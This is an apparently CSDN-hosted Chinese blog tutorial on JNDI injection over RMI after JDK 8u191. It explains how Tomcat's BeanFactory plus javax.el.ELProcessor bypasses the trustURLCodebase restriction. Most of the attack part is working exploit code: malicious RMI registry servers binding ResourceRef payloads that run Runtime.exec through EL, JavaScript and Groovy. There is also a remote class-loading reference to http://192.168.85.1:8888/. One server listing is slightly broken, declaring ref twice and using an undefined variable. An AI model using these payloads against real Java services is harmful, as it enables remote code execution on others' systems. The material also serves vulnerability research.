《JDK 8u191之后的JNDI注入(RMI)》

220 篇文章 7 订阅
213 篇文章 3 订阅

参考:

jdk 8u191之前利用过程

在这里插入图片描述

jdk 8u191之后利用过程

由于无法加载远程的类了,于是寻找能否使用本地的类:

在这里插入图片描述

绕过限制:利用本地Class作为Reference Factory

利用org.apache.naming.factory.BeanFactory
(当然前提是得有tomcat的这个jar包)

与之前的LDAP利用的绕过类似,也是有这么一个方法:
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)

由于在这个类com.sun.jndi.rmi.registry.RegistryContext的静态代码块中设置了trustURLCodebase为false。除非手动将该JVM参数设置为true。
在这里插入图片描述
下图可见,传统利用方式,在高版本JDK中被限制,抛出异常。
在这里插入图片描述

针对 RMI 利用的检查方式中最关键的就是 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) 如果 FactoryClassLocation 为空,那么就会进入 NamingManager.getObjectInstance 在此方法会调用 Reference 中的ObjectFactory。因此绕过思路为在目标 classpath 中寻找实现 ObjectFactory 接口的类。在 Tomcat 中有一处可以利用的符合条件的类org.apache.naming.factory.BeanFactory 在此类中会获取 Reference 中的forceString 得到其中的值之后会判断是否包含等号,如果包含则用等号分割,将前一半当做方法名,后一半当做 Hashmap 中的 key。如果不包含等号则方法名变成 set开头。值得注意的是此方法中已经指定了参数类型为 String。后面将会利用反射执行前面所提到的方法。因此需要找到使用了 String 作为参数,并且能 RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合适

参考:
https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html

普通的8u121之前的RMI恶意注入的服务器代码为:

//Ref: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
  
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class NormalRMIServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1097);
        // 绕过方式的payload
//        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
//        resourceRef.add(new StringRefAddr("forceString", "a=eval"));
//        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));


        // 普通方式的payload
        Reference ref = new Reference("whatever", "ExploitWin","http://192.168.85.1:8888/");
        
        // 普通方式的payload之二
        ResourceRef ref = new ResourceRef("whatever", null, "", "", true, "ExploitWin","http://192.168.85.1:8888/");
        
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("EvalObj", referenceWrapper);
        System.out.println("the Server is bind rmi://127.0.0.1:1097/EvalObj");
    }
}

PoC构造:
将ResourceRef构造器的第七个参数设置为null:
tomcat-embed-core-8.5.11.jar!\org\apache\naming\ResourceRef.class
在这里插入图片描述

完整代码

// TomcatRMIServer.java
/**
* javac -cp  "D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" .\TomcatRMIServer.java
* java -cp ".;D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" TomcatRMIServer
*/
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class TomcatRMIServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1098);
        // 最后两个参数是:`factory`和`factoryLocation`
        // 本意factoryLocation是远程加载factory的地址,比如是一个url
        // 这里故意将其设置为null。
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "a=eval"));
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("EvalObj", referenceWrapper);
        System.out.println("the Server is bind rmi://127.0.0.1:1098/EvalObj");
    }
}

则对应的factoryLocation属性为null,这样在逻辑判断时,不满足第一个if的条件,于是进入else逻辑中。
在这里插入图片描述
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)
继续跟进:
javax.naming.spi.NamingManager#getObjectInstance
在这里插入图片描述
继续跟进org.apache.naming.factory.BeanFactory#getObjectInstance
在这里插入图片描述
取出RMI服务发过来的对象的值,最后执行:
在这里插入图片描述
以下为演示:
在这里插入图片描述
原理是调用了

new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"calc\")");

调用栈:

eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

总结

条件依赖:

  • org.apache.naming.factory.BeanFactory
    由于依赖org.apache.naming.factory.BeanFactory这个类,这个类在Tomcat中,所以必须要有Tomcat相关的包:
    在这里插入图片描述
  • javax.el.ELProcessor
依赖javax.el.ELProcessor这个类

这个类只在Tomcat8中存在:
在这里插入图片描述

所以条件是Tomcat 8+。

javax.el.ELProcessor本身是Tomcat8中存在的库,所以仅限Tomcat8及更高版本环境下可以通过javax.el.ELProcessor进行攻击,对于使用广泛的SpringBoot应用来说,可被利用的Spring Boot Web Starter版本应在1.2.x及以上,因为1.1.x及1.0.x内置的是Tomcat7。

在这里插入图片描述

对应代码:

    public ResourceRef execByEL() {
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", String.format(
                "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                        "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
                        ")",
                this.command    // "calc"
        )));
        return ref;
    }
依赖groovy 2以上相关类
        <dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy</artifactId>
            <version>2.4.5</version>
        </dependency>

在这里插入图片描述
对应代码:

    public ReferenceWrapper execByGroovyParse() throws RemoteException, NamingException{
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=parseClass"));
        String script = String.format("@groovy.transform.ASTTest(value={\n" +
                "    assert java.lang.Runtime.getRuntime().exec(\"%s\")\n" +
                "})\n" +
                "def x\n",
//                commandGenerator.getBase64CommandTpl()
                "calc"
        );
        ref.add(new StringRefAddr("x",script));
        return new ReferenceWrapper(ref);
    }

系统报错:

java.lang.ClassCastException: groovy.lang.GroovyClassLoader cannot be cast to javax.sql.DataSource
依赖groovy任意版本的类

比如1.5的groovy:

		<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy-all -->
		<dependency>
			<groupId>org.codehaus.groovy</groupId>
			<artifactId>groovy-all</artifactId>
			<version>1.5.0</version>
		</dependency>

或者2.x的groovy都可以。
在这里插入图片描述

系统报错:

java.lang.ClassCastException: groovy.lang.GroovyShell cannot be cast to javax.sql.DataSource

对应代码:

    public ReferenceWrapper execByGroovy() throws RemoteException, NamingException{
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=evaluate"));
        String script = String.format("'%s'.execute()", "calc"); //commandGenerator.getBase64CommandTpl());
        ref.add(new StringRefAddr("x",script));
        return new ReferenceWrapper(ref);
    }

参考:

  • https://github.com/welk1n/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java#L22
  • 浅析JNDI注入Bypass
  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值